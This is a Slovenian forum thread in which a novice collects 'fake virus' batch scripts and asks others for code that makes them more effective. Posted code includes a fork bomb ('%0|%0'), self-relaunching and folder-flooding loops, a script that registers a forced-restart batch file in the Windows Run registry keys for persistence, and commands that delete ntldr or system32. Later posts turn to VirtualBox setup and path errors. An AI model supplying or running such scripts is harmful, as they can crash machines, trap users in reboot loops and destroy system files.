Forum » Programiranje » Batch (.bat) datoteke
Batch (.bat) datoteke
Temo vidijo: vsi
einstein :P ::
Pozdravljeni,
malo sem se igral s temi fake virusi, ki jih ustvariš v beležnici in nato shraniš, kot ".bat" datoteko. Sicer se ne ukvarjam s programiranjem ampak mi je pa zanimiva stvar in sem zato poskušal narediti več različnih fake virusov in jih tudi preizkusil. Čeprav so tile virusi dokaj nenevarni pa vseeno znajo povzročiti veliko preglavic in celo "zamrzniti" sistem oz. mu otežiti, da bi zraven delal še kaj drugega. Sedaj pa bi vas izkušene programerje malo povprašal po kakšnih zanimivih kodah, ki bi naredile virus bolj učinkovit. Lahko dodate tudi kako drugo uporabno kodo ali pa kakšno vašo kodo, ki ste jo sami ustvarili, npr.: kakšna cmd igrica ali kalkulator ali timer... karkoli uporabnega ali zanimivega.
Sam sem ravno ustvaril nek fake virusek, ki je zelo zelo preprost(sem trenutno še bolj noob kar se tiče programiranja...) gre za .bat datoteko, ki ko jo odpreš odpre CMD in ga takoj zapre in hkrati ponovno odpre isto datoteko in to se non-stop ponavlja.
Tukaj pa je zelo preprosta koda, ki sem jo naredil:
@echo off
exit
start test.bat
Ko to napišete v beležnici samo še shranite, kot "test.bat" (nujno mora biti "test.bat", ker je v kodi ukaz, ki bo potem odprl "test.bat" datoteko in tako ponavljal proces. lahko pa tudi zamenjate "test.bat" v kodi za katero koli besedo, številko... samo, da je na koncu ".bat". Ime vaše batch datoteke pa mora biti enako tistemu v kodi). Ko odprete ta "virusek" dobite prav lep, nekoliko halucinacijski pojav na zaslonu, ker se CMD sam non-stop odpira in zapira zelo hitro in tako dobite nekoliko zabrisana in prozorna okna, ki se pojavljajo.
Trenutno ne poznam druge poti razen restarta ali shutdowna, kot da se preprosto odjavim in s tem prekličem proces. Zelo bi bil pa tudi hvaležen, če bi mi kdo znal povedati kakšno preprosto pot, po kateri bi preklical ta nadležen virusek - naprimer še eno .bat datoteko, s katero bi preklical ta proces. Ponavadi se te stvari tudi same ustavijo po kakšni minuti, ne vem pa zakaj - tudi to bi bilo dobro vedeti.
Torej, vsaka koda, nasvet ali informacija je dobrodošla.
L.p., hvala za odgovore
malo sem se igral s temi fake virusi, ki jih ustvariš v beležnici in nato shraniš, kot ".bat" datoteko. Sicer se ne ukvarjam s programiranjem ampak mi je pa zanimiva stvar in sem zato poskušal narediti več različnih fake virusov in jih tudi preizkusil. Čeprav so tile virusi dokaj nenevarni pa vseeno znajo povzročiti veliko preglavic in celo "zamrzniti" sistem oz. mu otežiti, da bi zraven delal še kaj drugega. Sedaj pa bi vas izkušene programerje malo povprašal po kakšnih zanimivih kodah, ki bi naredile virus bolj učinkovit. Lahko dodate tudi kako drugo uporabno kodo ali pa kakšno vašo kodo, ki ste jo sami ustvarili, npr.: kakšna cmd igrica ali kalkulator ali timer... karkoli uporabnega ali zanimivega.
Sam sem ravno ustvaril nek fake virusek, ki je zelo zelo preprost(sem trenutno še bolj noob kar se tiče programiranja...) gre za .bat datoteko, ki ko jo odpreš odpre CMD in ga takoj zapre in hkrati ponovno odpre isto datoteko in to se non-stop ponavlja.
Tukaj pa je zelo preprosta koda, ki sem jo naredil:
@echo off
exit
start test.bat
Ko to napišete v beležnici samo še shranite, kot "test.bat" (nujno mora biti "test.bat", ker je v kodi ukaz, ki bo potem odprl "test.bat" datoteko in tako ponavljal proces. lahko pa tudi zamenjate "test.bat" v kodi za katero koli besedo, številko... samo, da je na koncu ".bat". Ime vaše batch datoteke pa mora biti enako tistemu v kodi). Ko odprete ta "virusek" dobite prav lep, nekoliko halucinacijski pojav na zaslonu, ker se CMD sam non-stop odpira in zapira zelo hitro in tako dobite nekoliko zabrisana in prozorna okna, ki se pojavljajo.
Trenutno ne poznam druge poti razen restarta ali shutdowna, kot da se preprosto odjavim in s tem prekličem proces. Zelo bi bil pa tudi hvaležen, če bi mi kdo znal povedati kakšno preprosto pot, po kateri bi preklical ta nadležen virusek - naprimer še eno .bat datoteko, s katero bi preklical ta proces. Ponavadi se te stvari tudi same ustavijo po kakšni minuti, ne vem pa zakaj - tudi to bi bilo dobro vedeti.
Torej, vsaka koda, nasvet ali informacija je dobrodošla.
L.p., hvala za odgovore
STAY OUT OF MY TERRITORY!
- zaklenil: bluefish ()
Wisse ::
Poizkusi s "Pause/Break" gumbom na tipkovnici, mogoče ti uspe ustaviti tvoj "virusek" (nisem testiral).
amigo_no1 ::
1x pritisneš "Ctrl+C" in je konec.
btw,
"exit" v drugi vrstici povzroči da BAT fajl prekine delovanje.
btw,
"exit" v drugi vrstici povzroči da BAT fajl prekine delovanje.
Zgodovina sprememb…
- spremenilo: amigo_no1 ()
einstein :P ::
@Wisse
@amigo_no1
hvala obema.
Haha, sem probal in je zasedenost rama poskočila na 99% in mi ni preostalo drugega, kot gumb za izklop.
Zanima me, če bi mi kdo samo razložil, kaj pomeni "echo" oz. "echo off" in kdaj ga je treba uporabiti?
@amigo_no1
hvala obema.
Tole probaj:
%0|%0
Haha, sem probal in je zasedenost rama poskočila na 99% in mi ni preostalo drugega, kot gumb za izklop.
Zanima me, če bi mi kdo samo razložil, kaj pomeni "echo" oz. "echo off" in kdaj ga je treba uporabiti?
STAY OUT OF MY TERRITORY!
einstein :P ::
Tega še nisem preizkusil ampak po moje se nebi dobro končalo, če bi delovalo.
Koda:
@echo off
md D:\Uporabnik\namizje\Nova_mapa
start test.bat
in shranite kot "test.bat"
Ko bi odprl bi mi verjetno namizje preplavilo z novimi mapami
P.S. ne priporočam preizkušanja, razen če preimenujete cilj v neko mapo, ki jo lahko na koncu samo izbrišete.
Koda:
@echo off
md D:\Uporabnik\namizje\Nova_mapa
start test.bat
in shranite kot "test.bat"
Ko bi odprl bi mi verjetno namizje preplavilo z novimi mapami
P.S. ne priporočam preizkušanja, razen če preimenujete cilj v neko mapo, ki jo lahko na koncu samo izbrišete.
STAY OUT OF MY TERRITORY!
einstein :P ::
Ups, pravzaprav ne ustvarja map, ker ko naredi eno ne more narediti še ene enake, torej bi moral nek random sistem ustvariti za generiranje imen map, če bi šlo?
STAY OUT OF MY TERRITORY!
einstein :P ::
Tole deluje:
@echo off
md D:\Uporabnik\namizje\Nova_mapa%random%
start test.bat
Ustavite pa očitno samo s pause/preak gumbom, nekatere druge "viruske" pa s Ctrl+C v zahvalo uporabnikoma: Wisse in amigo_no1
@echo off
md D:\Uporabnik\namizje\Nova_mapa%random%
start test.bat
Ustavite pa očitno samo s pause/preak gumbom, nekatere druge "viruske" pa s Ctrl+C v zahvalo uporabnikoma: Wisse in amigo_no1
STAY OUT OF MY TERRITORY!
Zeratul ^^ ::
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -
f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add
hkey_local_machinesoftwaremicrosoftwindowscurrentv
ersionrun /v startAPI /t reg_sz /d
c:windowshartlell.bat /f
reg add
hkey_current_usersoftwaremicrosoftwindowscurrentve
rsionrun /v /t reg_sz /d
c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
shrani kot hshutdown.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -
f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add
hkey_local_machinesoftwaremicrosoftwindowscurrentv
ersionrun /v startAPI /t reg_sz /d
c:windowshartlell.bat /f
reg add
hkey_current_usersoftwaremicrosoftwindowscurrentve
rsionrun /v /t reg_sz /d
c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
shrani kot hshutdown.bat
#yolo
einstein :P ::
Zeratul ^^ je izjavil:
del C:\ntldr
To probaj
Tole se mi pa ne sliši dobro (nebi ravno rad brisal nekih datotek od windowsa)
Kaj pa se zgodi? Raje nebi probal
STAY OUT OF MY TERRITORY!
einstein :P ::
Zakaj si mi pa potem poslal? lol se dobro da nisem tako naiven da bi kar vse probal. saj nisem mislil pravih virusov
Kaj pa tole:
@echo off
del C:\Windows\system32
y
exit
bi to delovalo???
Kaj pa tole:
@echo off
del C:\Windows\system32
y
exit
bi to delovalo???
STAY OUT OF MY TERRITORY!
bluefish ::
Postavi si virtualko in poskušaj.
Če ti dejansko uspe sesuti sistem ali ga spraviti v loop, pa obnoviš na snapshot.
Če ti dejansko uspe sesuti sistem ali ga spraviti v loop, pa obnoviš na snapshot.
Zgodovina sprememb…
- spremenil: bluefish ()
einstein :P ::
Postavi si virtualko in poskušaj.
Virtualen Windows? Kako pa to narediš? Rabiš en program v katerem laufa še en windows?
STAY OUT OF MY TERRITORY!
Zeratul ^^ ::
Da. Npr wmvare ali virtual box
tisti hshutdown pa ni pravi virus..gres v safe mode in ga izbrises :)
tisti hshutdown pa ni pravi virus..gres v safe mode in ga izbrises :)
#yolo
einstein :P ::
Aha, ima pa kdo izkušnje z VirtualPC od Microsofta?
Kje pa dobim zastonj win 7 .iso datoteko in product key?
Hvala
Kje pa dobim zastonj win 7 .iso datoteko in product key?
Hvala
STAY OUT OF MY TERRITORY!
bluefish ::
VirtualPC je OK, vendar veliko več možnosti ponuja VirtualBox.
Če si dijak ali študent, dobiš ISO ter serijsko na MSDNAA. Itak pa za igračkanje v virtualki ni nujno potrebna aktivacija.
Če si dijak ali študent, dobiš ISO ter serijsko na MSDNAA. Itak pa za igračkanje v virtualki ni nujno potrebna aktivacija.
einstein :P ::
VirtualPC je OK, vendar veliko več možnosti ponuja VirtualBox.
Če si dijak ali študent, dobiš ISO ter serijsko na MSDNAA. Itak pa za igračkanje v virtualki ni nujno potrebna aktivacija.
Aha, hvala.
STAY OUT OF MY TERRITORY!
einstein :P ::
Sem instaliral VirtualBox in ko hočem iz DVD pogona pognati win 95 (ISO datoteka) mi napiše: FATAL: No bootable medium found! System halted.
Pomoč prosim strokovnjaki! Kakšna ideja? Na internetu ne najdem kakšne pametne rešitve.
Pomoč prosim strokovnjaki! Kakšna ideja? Na internetu ne najdem kakšne pametne rešitve.
STAY OUT OF MY TERRITORY!
einstein :P ::
Sem preletel vse in nisem našel nič o teh napakah. Windows host ustreza, tudi win 95 je podprt kot guest, ram sem dal 512Mb, prostora 2Gb, označil pot do ISO datoteke ampak kar naprej dobivam to napako. Mislite, da je ISO zanič? Pomoč prosim!
Hvala
Hvala
STAY OUT OF MY TERRITORY!
einstein :P ::
Zdaj sem še win 3.1 probal in dobim enako napako
Kaj bi bilo to?
Kaj bi bilo to?
STAY OUT OF MY TERRITORY!
einstein :P ::
Pa tudi na win 7 ne dela, ki preverjeno dela na fizičnem sistemu.
Kaj pa zdaj???
Pomoooooooooooooooooooooooooč proooooooooooosim!!!!!!!
Kaj pa zdaj???
Pomoooooooooooooooooooooooooč proooooooooooosim!!!!!!!
STAY OUT OF MY TERRITORY!
einstein :P ::
Zeratul ^^ je izjavil:
Daj vec kot 2gb...vsaj 5 :)
Sem dal 5Gb in še vedno isto...
Tukaj je screenshot, da lahko vidite, če je kaj narobe nastavljeno:
http://shrani.najdi.si/?2I/y2/m6QKxn5/v...
Hvala
STAY OUT OF MY TERRITORY!
Zgodovina sprememb…
- spremenil: einstein :P ()
Master_X ::
Em, pa si dal ti .iso file v emulator ali kako si "določil pot do njega"? Ker mi je čudno da ti tam piše pri CD/DVD drivu "Windows95_blabla.iso". Zgleda mi da ti prikazuješ image (.iso) in ne vsebine image-a (moraš zapečt na CD ali pa emulirat v Daemon Tools ali čemu podobnem). To je moje opažanje, lahko je popolnoma napačno.
bluefish ::
Ja, čudno tole.
Načeloma izbereš ISO ali ga mountaš oz. vstaviš fizičen CD, nato ob zagonu virtualke, če se namestitev ne zažene, izbereš ustrezen pogon.
Načeloma izbereš ISO ali ga mountaš oz. vstaviš fizičen CD, nato ob zagonu virtualke, če se namestitev ne zažene, izbereš ustrezen pogon.
einstein :P ::
ja, jaz sem naložil ISO iz interneta in v virtual boxu naštimal, da se zažene direktno iz mape "prenosi". pa tudi na dvd sem zapekel s programom za zapisovanje ISO datotek in poskušal iz dvdja zagnati pa še vedno nič, tudi win 7 sem probal, ki na fizični mašini dela super sem probal pa enako napako dobim. naložil sem tudi virtualpc in tam isto nekaj pokaže v tem slogu...
STAY OUT OF MY TERRITORY!
einstein :P ::
Trenutno mi je uspelo celo pognati xp na fizičnem cdju v virtualbox. Ostali OS-ji pa brez uspeha za enkrat...
STAY OUT OF MY TERRITORY!
einstein :P ::
XP deluje... a mogoče kdo ve kako se znebiti laga miške?
Hvala, lp
ja, imaš prav, "exit" je v zadnji vrstici, v drugi pa "start test.bat"
lp
Hvala, lp
1x pritisneš "Ctrl+C" in je konec.
btw,
"exit" v drugi vrstici povzroči da BAT fajl prekine delovanje.
ja, imaš prav, "exit" je v zadnji vrstici, v drugi pa "start test.bat"
lp
STAY OUT OF MY TERRITORY!
Zgodovina sprememb…
- spremenil: einstein :P ()
einstein :P ::
Naj mi kdo pomaga! Ko hočem s pomočjo CMD-ja zbrisat datoteko z namizja vedno napiše: "could not find D:\..."
Recimo imam datoteko z imenom "A" na namizju in v CMD vpišem: del D:\Uporabnik\Namizje\A in potem vedno dobim to sporočilo, prej ga nisem dobival. Kaj bi bilo zdaj narobe?
Hvala
Recimo imam datoteko z imenom "A" na namizju in v CMD vpišem: del D:\Uporabnik\Namizje\A in potem vedno dobim to sporočilo, prej ga nisem dobival. Kaj bi bilo zdaj narobe?
Hvala
STAY OUT OF MY TERRITORY!
einstein :P ::
ja jaz tudi nimam xpja, mam win 7 in ni nič pred uporabnik...
STAY OUT OF MY TERRITORY!
einstein :P ::
Žal ni to, tudi namizje ni na C ampak na D. še kakšna ideja?
Pa pri CMD imam odprt direktorij: "C:\Windows\System32>" če to kaj pomaga
Pa pri CMD imam odprt direktorij: "C:\Windows\System32>" če to kaj pomaga
STAY OUT OF MY TERRITORY!
Zgodovina sprememb…
- spremenil: einstein :P ()
einstein :P ::
nimam, mam v slo ampak mi enkrat v CMD pokaže "could not found", spet drugič pa "navedene poti ni bilo mogoče najti" čudno
STAY OUT OF MY TERRITORY!
einstein :P ::
saj nimam, winsi so na Cju, ko pa z desno kliknem na kakšno mapo na namizju in izberem lastnosti pa piše pri cilju: D:\Uporabnik\Namizje
STAY OUT OF MY TERRITORY!
Zeratul ^^ ::
Ti lepo v cmd napisi
del C:Uporabniki/TvojeIme/Namizje/Datoteka ki jo hoces zbrisati
Mora delat
del C:Uporabniki/TvojeIme/Namizje/Datoteka ki jo hoces zbrisati
Mora delat
#yolo
einstein :P ::
zelo čudno: ko napišem po angleško mi vrne odgovor "navedene poti ni bilo mogoče najti", ko pa po slovensko napišem pa po angleško odgovori "could not find"
STAY OUT OF MY TERRITORY!
einstein :P ::
haha, samo končnico datoteke je bilo treba dodati kako sem lahko to pozabil
ja saj tudi ko sem ga imel je bilo isto. ampak manjkala je končnica datoteke.
Beksleš ti manjka.
ja saj tudi ko sem ga imel je bilo isto. ampak manjkala je končnica datoteke.
STAY OUT OF MY TERRITORY!
Zgodovina sprememb…
- spremenil: einstein :P ()
Duhec ::
V bistvu se igraš skrivalnice. Kakšna končnica? Omenjal si datoteko z imenom A in nič več.
Zavedaj se, da smo na forumu vsi slepi in moraš praktično vse točno tako kot vidiš ti to opisat nam z besedami. :)
Zavedaj se, da smo na forumu vsi slepi in moraš praktično vse točno tako kot vidiš ti to opisat nam z besedami. :)
einstein :P ::
Zdaj imam pa še eno vprašanje: ali se da simulirati pritisk tipk na tipkovnici z datoteko .bat? recimo, da ko bi pognal datoteko, da bi se zgodilo, kot da bi pritisnil npr.: Ctrl+Alt+Delete?
pa če lahko še kak primer kode prosim
Hvala, lp
pa če lahko še kak primer kode prosim
Hvala, lp
STAY OUT OF MY TERRITORY!
Vredno ogleda ...
Tema | Ogledi | Zadnje sporočilo | |
---|---|---|---|
Tema | Ogledi | Zadnje sporočilo | |
» | Zagon RLM-serverja avtomatskoOddelek: Programska oprema | 2471 (2143) | Hayabusa |
» | kako se začeti učit hekanja? (strani: 1 2 )Oddelek: Pomoč in nasveti | 17167 (14851) | einstein :P |
» | Aplikacija za countdownOddelek: Pomoč in nasveti | 983 (884) | __jack__ |
» | fake virus za izobraževalne nameneOddelek: Programiranje | 2410 (1478) | japol |
» | nekaj enostavnega za vsakdanjo rabo...Oddelek: Programiranje | 2002 (1519) | milan0 |